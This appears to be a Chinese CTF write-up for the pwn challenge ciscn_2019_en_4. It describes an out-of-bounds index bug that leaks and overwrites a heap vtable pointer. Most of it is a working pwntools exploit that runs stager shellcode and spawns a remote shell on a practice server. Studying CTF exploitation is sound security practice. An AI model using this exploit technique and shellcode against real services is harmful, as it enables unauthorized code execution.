ciscn_2019_en_4

ciscn_2019_en_4

首先檢查一下程序的保護機制

然後,我們用IDA分析一下,主函數裏的功能通過對應index的虛表調用,虛表存在在堆裏。

Edit功能存在下標溢出,因此可以向上溢出修改虛表指針。

Show功能同理存在溢出,可以讀取原來的虛表地址,進而計算出程序的基址。

進而計算出堆指針存放的地址,我們將堆指針的地址-0x18作爲虛表地址,這樣,當我們再次調用功能1的時候,就會執行heap[0]()。利用8字節shellcode,構造一個read系統調用來輸入shellcode主體。

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./ciscn_2019_en_4')
sh = remote('node3.buuoj.cn',29251)
elf = ELF('./ciscn_2019_en_4')

def add(size):
   sh.sendlineafter('Your choice:','1')
   sh.sendlineafter('Money makes you stronger:',str(size))

def edit(index,content):
   sh.sendlineafter('Your choice:','3')
   sh.sendlineafter('change Weapon id:',str(index))
   sh.sendafter('new Name:',content)

def show(index):
   sh.sendlineafter('Your choice:','4')
   sh.sendlineafter('Which Weapon do you want to show?',str(index))

add(1)
#佈置shellcode,最多8字節,我們構造一個read調用來輸入主shellcode
shellcode = asm('''cdq
                   xor eax,eax
                   xchg rsi,rdi
                   syscall
                ''')
edit(0,shellcode)

show(-1)
sh.recvuntil('Weapon name is:')
elf_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x203DB8
heap_ptr_addr = elf_base + 0x204088
print 'elf_base=',hex(elf_base)
print 'heap_ptr_addr=',hex(heap_ptr_addr)
#修改虛表
edit(-1,p64(heap_ptr_addr - 0x18))
#觸發前面佈置的shellcode
sh.sendlineafter('Your choice:','1')
#發送主shellcode
sleep(1)
payload = 'a'*0x14 + asm(shellcraft.sh())
sh.send(payload)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章